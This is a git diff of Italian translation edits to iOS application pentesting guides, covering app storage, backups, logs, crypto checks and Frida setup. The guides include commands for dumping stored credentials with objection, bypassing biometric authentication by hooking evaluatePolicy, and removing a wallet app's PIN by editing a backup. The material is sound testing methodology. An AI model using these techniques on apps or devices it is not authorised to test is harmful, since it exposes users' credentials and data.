- **`Frameworks/`**: Questa cartella ospita le librerie native dell'applicazione, che possono essere sotto forma di file `.dylib` o `.framework`.
|
||||
- **`PlugIns/`**: Questo può includere estensioni all'applicazione, note come file `.appex`, anche se non sono sempre presenti. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti della tua applicazione per l'uso offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'app su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data rispecchia automaticamente il tuo schema in un contenitore CloudKit.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti di lingua che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti linguistici che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
|
||||
- **Security**: La directory `_CodeSignature/` gioca un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi attraverso firme digitali.
|
||||
- **Asset Management**: Il file `Assets.car` utilizza la compressione per gestire in modo efficiente gli asset grafici, cruciale per ottimizzare le prestazioni dell'applicazione e ridurre le sue dimensioni complessive.
|
||||
- **Frameworks and PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) e di estendere la funzionalità dell'app (`PlugIns/`).
|
||||
- **Localization**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti di lingue specifiche.
|
||||
- **Localization**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti linguistici specifici.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
@ -195,7 +195,7 @@ $ plutil -convert xml1 Info.plist
|
||||
$ apt install libplist-utils
|
||||
$ plistutil -i Info.plist -o Info_xml.plist
|
||||
```
|
||||
Tra la miriade di informazioni che il file **Info.plist** può rivelare, le voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documento personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
|
||||
Tra la miriade di informazioni che il file **Info.plist** può rivelare, le voci notevoli includono le stringhe di autorizzazione dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`) e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documenti personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
|
||||
```bash
|
||||
$ grep -i <keyword> Info.plist
|
||||
```
|
||||
@ -206,9 +206,9 @@ Nell'ambiente iOS, le directory sono designate specificamente per **applicazioni
|
||||
> [!WARNING]
|
||||
> Poiché le applicazioni in iOS devono essere sandboxed, ogni app avrà anche una cartella all'interno di **`$HOME/Library/Containers`** con **`CFBundleIdentifier`** dell'app come nome della cartella.
|
||||
>
|
||||
> Tuttavia, entrambe le cartelle (cartelle dati e cartelle contenitore) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`).
|
||||
> Tuttavia, entrambe le cartelle (cartelle dei dati e dei contenitori) hanno il file **`.com.apple.mobile_container_manager.metadata.plist`** che collega entrambi i file nella chiave `MCMetadataIdentifier`.
|
||||
|
||||
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo strumento **objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
|
||||
Per facilitare la scoperta della directory di installazione di un'app installata dall'utente, lo **strumento objection** fornisce un comando utile, `env`. Questo comando rivela informazioni dettagliate sulla directory per l'app in questione. Di seguito è riportato un esempio di come utilizzare questo comando:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -244,7 +244,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Il contenuto in questa directory è **sottoposto a backup**.
|
||||
- L'app può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/**
|
||||
- Contiene tutti i **file che non sono specifici per l'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione della lista di proprietà (plist).
|
||||
- Contiene tutti i **file che non sono specifici per l'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione plist.
|
||||
- Le app iOS di solito utilizzano le sottodirectory `Application Support` e `Caches`, ma l'app può creare sottodirectory personalizzate.
|
||||
- **Library/Caches/**
|
||||
- Contiene **file cache semi-persistenti.**
|
||||
@ -252,14 +252,14 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Il contenuto in questa directory **non è sottoposto a backup**.
|
||||
- Il sistema operativo può eliminare automaticamente i file di questa directory quando l'app non è in esecuzione e lo spazio di archiviazione è scarso.
|
||||
- **Library/Application Support/**
|
||||
- Contiene **file** **persistenti** necessari per eseguire l'app.
|
||||
- Contiene **file** **persistenti** necessari per l'esecuzione dell'app.
|
||||
- **Invisibile** **agli** **utenti** e gli utenti non possono scriverci.
|
||||
- Il contenuto in questa directory è **sottoposto** **a** **backup**.
|
||||
- L'app può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/Preferences/**
|
||||
- Utilizzato per memorizzare proprietà che possono **persistere anche dopo che un'applicazione è stata riavviata**.
|
||||
- Le informazioni vengono salvate, non crittografate, all'interno della sandbox dell'applicazione in un file plist chiamato \[BUNDLE_ID].plist.
|
||||
- Tutte le coppie chiave/valore memorizzate utilizzando `NSUserDefaults` possono essere trovate in questo file.
|
||||
- Tutti i coppie chiave/valore memorizzate utilizzando `NSUserDefaults` possono essere trovate in questo file.
|
||||
- **tmp/**
|
||||
- Utilizza questa directory per scrivere **file temporanei** che non devono persistere tra i lanci dell'app.
|
||||
- Contiene file cache non persistenti.
|
||||
@ -267,7 +267,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
- Il contenuto in questa directory non è sottoposto a backup.
|
||||
- Il sistema operativo può eliminare automaticamente i file di questa directory quando l'app non è in esecuzione e lo spazio di archiviazione è scarso.
|
||||
|
||||
Diamo un'occhiata più da vicino alla directory del pacchetto dell'applicazione di iGoat-Swift (.app) all'interno della directory del pacchetto (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
Diamo un'occhiata più da vicino alla directory del pacchetto dell'applicazione iGoat-Swift (.app) all'interno della directory del pacchetto (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -361,7 +361,7 @@ double _field2;
|
||||
```
|
||||
Tuttavia, le migliori opzioni per disassemblare il binario sono: [**Hopper**](https://www.hopperapp.com/download.html?) e [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
|
||||
|
||||
## Archiviazione dei Dati
|
||||
## Archiviazione Dati
|
||||
|
||||
Per saperne di più su come iOS memorizza i dati nel dispositivo, leggi questa pagina:
|
||||
|
||||
@ -370,12 +370,12 @@ ios-basics.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
> I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati **subito dopo aver installato l'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **essere usciti da un utente e accedere a un altro**.\
|
||||
> I seguenti luoghi per memorizzare informazioni dovrebbero essere controllati **subito dopo aver installato l'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **essere disconnessi da un utente e accedere a un altro**.\
|
||||
> L'obiettivo è trovare **informazioni sensibili non protette** dell'applicazione (password, token), dell'utente attuale e degli utenti precedentemente connessi.
|
||||
|
||||
### Plist
|
||||
|
||||
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averla utilizzata intensamente per vedere se nuovi dati vengono scritti.
|
||||
I file **plist** sono file XML strutturati che **contengono coppie chiave-valore**. È un modo per memorizzare dati persistenti, quindi a volte potresti trovare **informazioni sensibili in questi file**. È consigliato controllare questi file dopo aver installato l'app e dopo averla utilizzata intensamente per vedere se vengono scritti nuovi dati.
|
||||
|
||||
Il modo più comune per persistere i dati nei file plist è attraverso l'uso di **NSUserDefaults**. Questo file plist è salvato all'interno della sandbox dell'app in **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
@ -452,13 +452,14 @@ Gli sviluppatori possono **memorizzare e sincronizzare i dati** all'interno di u
|
||||
|
||||
Puoi trovare come controllare i database Firebase mal configurati qui:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
|
||||
{{#endref}}
|
||||
|
||||
### Realm databases
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) offrono un'alternativa potente per la memorizzazione dei dati, non fornita da Apple. Per impostazione predefinita, **memorizzano i dati non crittografati**, con la crittografia disponibile tramite configurazione specifica.
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) offrono un'alternativa potente per la memorizzazione dei dati, non fornita da Apple. Per impostazione predefinita, **memorizzano i dati non crittografati**, con la crittografia disponibile tramite configurazioni specifiche.
|
||||
|
||||
I database si trovano in: `/private/var/mobile/Containers/Data/Application/{APPID}`. Per esplorare questi file, si possono utilizzare comandi come:
|
||||
```bash
|
||||
@ -514,7 +515,7 @@ Per ispezionare il file dei cookie puoi usare [**questo script python**](https:/
|
||||
|
||||
Per impostazione predefinita, NSURLSession memorizza i dati, come **richieste e risposte HTTP nel database Cache.db**. Questo database può contenere **dati sensibili**, se token, nomi utente o altre informazioni sensibili sono stati memorizzati nella cache. Per trovare le informazioni memorizzate nella cache, apri la directory dei dati dell'app (`/var/mobile/Containers/Data/Application/<UUID>`) e vai a `/Library/Caches/<Bundle Identifier>`. La **cache di WebKit è anche memorizzata nel file Cache.db**. **Objection** può aprire e interagire con il database con il comando `sqlite connect Cache.db`, poiché è un **normale database SQLite**.
|
||||
|
||||
È **consigliato disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbero contenere informazioni sensibili nella richiesta o nella risposta. La seguente lista mostra diversi modi per raggiungere questo obiettivo:
|
||||
È **consigliato disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbe contenere informazioni sensibili nella richiesta o nella risposta. La seguente lista mostra diversi modi per raggiungere questo obiettivo:
|
||||
|
||||
1. È consigliato rimuovere le risposte memorizzate nella cache dopo il logout. Questo può essere fatto con il metodo fornito da Apple chiamato [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Puoi chiamare questo metodo come segue:
|
||||
|
||||
@ -532,13 +533,13 @@ Questo metodo rimuoverà tutte le richieste e risposte memorizzate nella cache d
|
||||
|
||||
### Snapshots
|
||||
|
||||
Ogni volta che premi il pulsante home, iOS **prende uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo molto più fluido. Tuttavia, se sono presenti **dati sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui puoi accedere anche toccando due volte la schermata home per passare tra le app.
|
||||
Ogni volta che premi il pulsante home, iOS **prende uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo molto più fluido. Tuttavia, se sono presenti **dati** **sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui puoi accedere anche toccando due volte lo schermo home per passare tra le app.
|
||||
|
||||
A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere questi screenshot. Per impostazione predefinita, l'ultimo snapshot è memorizzato nel sandbox dell'applicazione nella cartella `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOS 7.0).
|
||||
|
||||
Un modo per prevenire questo comportamento indesiderato è mettere uno schermo vuoto o rimuovere i dati sensibili prima di prendere lo snapshot utilizzando la funzione `ApplicationDidEnterBackground()`.
|
||||
|
||||
Di seguito è riportato un esempio di metodo di remediation che imposterà uno screenshot predefinito.
|
||||
Di seguito è riportato un esempio di metodo di rimedio che imposterà uno screenshot predefinito.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
@ -584,7 +585,7 @@ NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||||
```
|
||||
Per estrarre queste credenziali memorizzate, viene utilizzato il comando `ios nsurlcredentialstorage dump` di Objection.
|
||||
Per estrarre queste credenziali memorizzate, viene utilizzato il comando di Objection `ios nsurlcredentialstorage dump`.
|
||||
|
||||
## **Tastiere Personalizzate e Cache della Tastiera**
|
||||
|
||||
@ -598,7 +599,7 @@ Con iOS 8.0 e versioni successive, gli utenti possono installare estensioni di t
|
||||
|
||||
### **Prevenire la Cache dei Campi di Testo**
|
||||
|
||||
Il [protocollo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire la correzione automatica e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione di informazioni sensibili. Ad esempio, disabilitare la correzione automatica e abilitare l'inserimento di testo sicuro può essere ottenuto con:
|
||||
Il [protocollo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire la correzione automatica e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione nella cache di informazioni sensibili. Ad esempio, disabilitare la correzione automatica e abilitare l'inserimento di testo sicuro può essere ottenuto con:
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
@ -620,7 +621,7 @@ Quando si esamina il codice sorgente dell'app per potenziali perdite, cercare si
|
||||
|
||||
### **Monitoring System Logs**
|
||||
|
||||
Le app registrano vari pezzi di informazioni che possono essere sensibili. Per monitorare questi log, strumenti e comandi come:
|
||||
Le app registrano vari pezzi di informazione che possono essere sensibili. Per monitorare questi log, strumenti e comandi come:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
@ -629,10 +630,10 @@ sono utili. Inoltre, **Xcode** offre un modo per raccogliere i log della console
|
||||
|
||||
1. Apri Xcode.
|
||||
2. Collega il dispositivo iOS.
|
||||
3. Naviga su **Finestra** -> **Dispositivi e Simulatori**.
|
||||
3. Naviga su **Finestra** -> **Dispositivi e simulatori**.
|
||||
4. Seleziona il tuo dispositivo.
|
||||
5. Attiva il problema che stai investigando.
|
||||
6. Usa il pulsante **Apri Console** per visualizzare i log in una nuova finestra.
|
||||
6. Usa il pulsante **Apri console** per visualizzare i log in una nuova finestra.
|
||||
|
||||
Per un logging più avanzato, collegarsi alla shell del dispositivo e utilizzare **socat** può fornire un monitoraggio dei log in tempo reale:
|
||||
```bash
|
||||
@ -669,11 +670,11 @@ Le informazioni sensibili possono essere cercate utilizzando strumenti da riga d
|
||||
...
|
||||
</plist>
|
||||
```
|
||||
Per gestire i backup crittografati, gli script Python disponibili nel [repo GitHub di DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), come **backup_tool.py** e **backup_passwd.py**, possono essere utili, sebbene possano richiedere aggiustamenti per la compatibilità con le ultime versioni di iTunes/Finder. Il [**tool iOSbackup**](https://pypi.org/project/iOSbackup/) è un'altra opzione per accedere ai file all'interno dei backup protetti da password.
|
||||
Per gestire i backup crittografati, gli script Python disponibili nel [repo GitHub di DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), come **backup_tool.py** e **backup_passwd.py**, possono essere utili, sebbene possano richiedere aggiustamenti per la compatibilità con le ultime versioni di iTunes/Finder. Il [**tool iOSbackup**](https://pypi.org/project/iOSbackup/) è un'altra opzione per accedere ai file all'interno di backup protetti da password.
|
||||
|
||||
### Modificare il Comportamento dell'App
|
||||
|
||||
Un esempio di modifica del comportamento dell'app attraverso modifiche ai backup è dimostrato nell'[app Bither bitcoin wallet](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato in `net.bither.plist` sotto la chiave **pin_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si rimuove il requisito del PIN, fornendo accesso illimitato.
|
||||
Un esempio di modifica del comportamento dell'app attraverso modifiche al backup è dimostrato nell'[app Bither bitcoin wallet](https://github.com/bither/bither-ios), dove il PIN di blocco dell'interfaccia utente è memorizzato all'interno di `net.bither.plist` sotto la chiave **pin_code**. Rimuovendo questa chiave dal plist e ripristinando il backup si rimuove il requisito del PIN, fornendo accesso illimitato.
|
||||
|
||||
## Riepilogo sul Test della Memoria per Dati Sensibili
|
||||
|
||||
@ -704,19 +705,19 @@ $ r2 <name_of_your_dump_file>
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
```
|
||||
## Broken Cryptography
|
||||
## Criptografia Rovinata
|
||||
|
||||
### Poor Key Management Processes
|
||||
### Processi di Gestione delle Chiavi Scadenti
|
||||
|
||||
Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografano con una chiave hardcoded/predicibile nel codice. Questo non dovrebbe essere fatto poiché alcune operazioni di reverse engineering potrebbero consentire agli attaccanti di estrarre le informazioni riservate.
|
||||
Alcuni sviluppatori salvano dati sensibili nello storage locale e li crittografano con una chiave hardcoded/predicibile nel codice. Questo non dovrebbe essere fatto poiché un po' di reverse engineering potrebbe consentire agli attaccanti di estrarre le informazioni riservate.
|
||||
|
||||
### Use of Insecure and/or Deprecated Algorithms
|
||||
### Uso di Algoritmi Insicuri e/o Obsoleti
|
||||
|
||||
Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire **controlli** di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti a brute-force con sale.
|
||||
Gli sviluppatori non dovrebbero utilizzare **algoritmi obsoleti** per eseguire **controlli** di autorizzazione, **memorizzare** o **inviare** dati. Alcuni di questi algoritmi sono: RC4, MD4, MD5, SHA1... Se i **hash** vengono utilizzati per memorizzare le password, ad esempio, dovrebbero essere utilizzati hash resistenti al brute-force con sale.
|
||||
|
||||
### Check
|
||||
### Controllo
|
||||
|
||||
I principali controlli da eseguire sono per verificare se puoi trovare password/segreti **hardcoded** nel codice, o se sono **predicibili**, e se il codice sta utilizzando qualche tipo di algoritmi di **crittografia** **debole**.
|
||||
I principali controlli da eseguire sono per verificare se puoi trovare **password/segreti** hardcoded nel codice, o se sono **predicibili**, e se il codice sta utilizzando qualche tipo di algoritmi di **crittografia** **debole**.
|
||||
|
||||
È interessante sapere che puoi **monitorare** alcune **librerie** **crypto** automaticamente utilizzando **objection** con:
|
||||
```swift
|
||||
@ -895,7 +896,7 @@ Se viene utilizzato `Security.framework`, solo il secondo verrà mostrato.
|
||||
|
||||
#### **Objection**
|
||||
|
||||
Attraverso il **Bypass Biometrics di Objection**, situato [in questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, garantendo che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
|
||||
Attraverso il **Bypass Biometrics di Objection**, situato a [questa pagina GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), è disponibile una tecnica per superare il meccanismo di **LocalAuthentication**. Il nucleo di questo approccio implica l'uso di **Frida** per manipolare la funzione `evaluatePolicy`, assicurando che restituisca costantemente un risultato `True`, indipendentemente dal reale successo dell'autenticazione. Questo è particolarmente utile per eludere processi di autenticazione biometrica difettosi.
|
||||
|
||||
Per attivare questo bypass, viene impiegato il seguente comando:
|
||||
```bash
|
||||
@ -906,7 +907,7 @@ Per attivare questo bypass, viene impiegato il seguente comando:
|
||||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||||
```
|
||||
Questo comando avvia una sequenza in cui Objection registra un'attività che altera effettivamente il risultato del controllo `evaluatePolicy` a `True`.
|
||||
Questo comando avvia una sequenza in cui Objection registra un'attività che altera effettivamente l'esito del controllo `evaluatePolicy` a `True`.
|
||||
|
||||
#### Frida
|
||||
|
||||
@ -970,59 +971,67 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
|
||||
|
||||
### Gestori URI Personalizzati / Deeplinks / Schemi Personalizzati
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ios-custom-uri-handlers-deeplinks-custom-schemes.md
|
||||
{{#endref}}
|
||||
|
||||
### Link Universali
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ios-universal-links.md
|
||||
{{#endref}}
|
||||
|
||||
### Condivisione UIActivity
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ios-uiactivity-sharing.md
|
||||
{{#endref}}
|
||||
|
||||
### UIPasteboard
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ios-uipasteboard.md
|
||||
{{#endref}}
|
||||
|
||||
### Estensioni App
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ios-app-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### WebViews
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ios-webviews.md
|
||||
{{#endref}}
|
||||
|
||||
### Serializzazione e Codifica
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ios-serialisation-and-encoding.md
|
||||
{{#endref}}
|
||||
|
||||
## Comunicazione di Rete
|
||||
|
||||
È importante verificare che non ci sia comunicazione **senza crittografia** e anche che l'applicazione stia correttamente **validando il certificato TLS** del server.\
|
||||
È importante verificare che non ci sia comunicazione **senza crittografia** e anche che l'applicazione stia **validando correttamente il certificato TLS** del server.\
|
||||
Per controllare questi tipi di problemi puoi utilizzare un proxy come **Burp**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
burp-configuration-for-ios.md
|
||||
{{#endref}}
|
||||
|
||||
### Controllo del Nome Host
|
||||
|
||||
Un problema comune nella validazione del certificato TLS è controllare che il certificato sia stato firmato da una **CA** **fidata**, ma **non controllare** se **il nome host** del certificato è il nome host a cui si sta accedendo.\
|
||||
Per controllare questo problema utilizzando Burp, dopo aver fidato la CA di Burp nell'iPhone, puoi **creare un nuovo certificato con Burp per un nome host diverso** e usarlo. Se l'applicazione funziona ancora, allora qualcosa è vulnerabile.
|
||||
Un problema comune nella validazione del certificato TLS è verificare che il certificato sia stato firmato da una **CA** **fidata**, ma **non controllare** se **il nome host** del certificato è il nome host a cui si sta accedendo.\
|
||||
Per controllare questo problema utilizzando Burp, dopo aver fidato la CA di Burp nell'iPhone, puoi **creare un nuovo certificato con Burp per un nome host diverso** e usarlo. Se l'applicazione continua a funzionare, allora qualcosa è vulnerabile.
|
||||
|
||||
### Certificato Pinning
|
||||
|
||||
@ -1050,13 +1059,13 @@ A questo scopo si utilizza solitamente [**JSPatch**](https://github.com/bang590/
|
||||
|
||||
### Terze Parti
|
||||
|
||||
Una sfida significativa con gli **SDK di terze parti** è la **mancanza di controllo granulare** sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare l'SDK e accettare tutte le sue caratteristiche, comprese le potenziali vulnerabilità di sicurezza e le preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi benefici. Spesso, gli sviluppatori non sono in grado di patchare le vulnerabilità all'interno di questi SDK. Inoltre, man mano che gli SDK guadagnano fiducia all'interno della comunità, alcuni potrebbero iniziare a contenere malware.
|
||||
Una sfida significativa con gli **SDK di terze parti** è la **mancanza di controllo granulare** sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare l'SDK e accettare tutte le sue funzionalità, comprese le potenziali vulnerabilità di sicurezza e le preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi benefici. Spesso, gli sviluppatori non sono in grado di patchare le vulnerabilità all'interno di questi SDK. Inoltre, man mano che gli SDK guadagnano fiducia all'interno della comunità, alcuni potrebbero iniziare a contenere malware.
|
||||
|
||||
I servizi forniti dagli SDK di terze parti possono includere il tracciamento del comportamento degli utenti, la visualizzazione di pubblicità o miglioramenti dell'esperienza utente. Tuttavia, questo introduce un rischio poiché gli sviluppatori potrebbero non essere pienamente consapevoli del codice eseguito da queste librerie, portando a potenziali rischi per la privacy e la sicurezza. È fondamentale limitare le informazioni condivise con i servizi di terze parti a ciò che è necessario e garantire che nessun dato sensibile venga esposto.
|
||||
|
||||
L'implementazione di servizi di terze parti di solito avviene in due forme: una libreria autonoma o un SDK completo. Per proteggere la privacy degli utenti, qualsiasi dato condiviso con questi servizi dovrebbe essere **anonymizzato** per prevenire la divulgazione di Informazioni Personali Identificabili (PII).
|
||||
|
||||
Per identificare le librerie utilizzate da un'applicazione, il comando **`otool`** può essere impiegato. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa che utilizza per scoprire librerie aggiuntive.
|
||||
Per identificare le librerie utilizzate da un'applicazione, può essere utilizzato il comando **`otool`**. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa che utilizza per scoprire librerie aggiuntive.
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
|
||||
@ -1,9 +1,9 @@
|
||||
# iOS Frida Configuration
|
||||
# Configurazione di Frida per iOS
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Installing Frida
|
||||
## Installazione di Frida
|
||||
|
||||
**Passaggi per installare Frida su un dispositivo Jailbroken:**
|
||||
|
||||
@ -13,16 +13,16 @@
|
||||
4. Vai alla nuova sorgente Frida aggiunta.
|
||||
5. Installa il pacchetto Frida.
|
||||
|
||||
Se stai usando **Corellium** dovrai scaricare il rilascio di Frida da [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) e decomprimere e copiare nella posizione dylib richiesta da Frida, ad esempio: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
Se stai usando **Corellium**, dovrai scaricare il rilascio di Frida da [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[yourversion]-ios-universal.dylib.gz`) e decomprimere e copiare nella posizione dylib richiesta da Frida, ad esempio: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
|
||||
Dopo l'installazione, puoi usare nel tuo PC il comando **`frida-ls-devices`** e controllare che il dispositivo appaia (il tuo PC deve essere in grado di accedervi).\
|
||||
Dopo l'installazione, puoi usare sul tuo PC il comando **`frida-ls-devices`** e controllare che il dispositivo appaia (il tuo PC deve essere in grado di accedervi).\
|
||||
Esegui anche **`frida-ps -Uia`** per controllare i processi in esecuzione del telefono.
|
||||
|
||||
## Frida senza dispositivo Jailbroken e senza patchare l'app
|
||||
|
||||
Controlla questo post del blog su come usare Frida su dispositivi non jailbroken senza patchare l'app: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
|
||||
## Frida Client Installation
|
||||
## Installazione del Client Frida
|
||||
|
||||
Installa **frida tools**:
|
||||
```bash
|
||||
|
||||
@ -37,7 +37,7 @@ Per aprire il simulatore, esegui Xcode, poi premi sulla _scheda Xcode_ --> _Open
|
||||
|
||||
### Applications in the Simulator
|
||||
|
||||
All'interno di `/Users/<username>/Library/Developer/CoreSimulator/Devices` puoi trovare tutti i **simulator installati**. Se desideri accedere ai file di un'applicazione creata all'interno di uno degli emulatori, potrebbe essere difficile sapere **in quale sia installata l'app**. Un modo veloce per **trovare il UID corretto** è eseguire l'app nel simulatore ed eseguire:
|
||||
All'interno di `/Users/<username>/Library/Developer/CoreSimulator/Devices` puoi trovare tutti i **simulator installati**. Se desideri accedere ai file di un'applicazione creata all'interno di uno degli emulatori, potrebbe essere difficile sapere **in quale sia installata l'app.** Un modo veloce per **trovare il UID corretto** è eseguire l'app nel simulatore ed eseguire:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
@ -70,15 +70,15 @@ Apple richiede rigorosamente che il codice in esecuzione sull'iPhone sia **firma
|
||||
|
||||
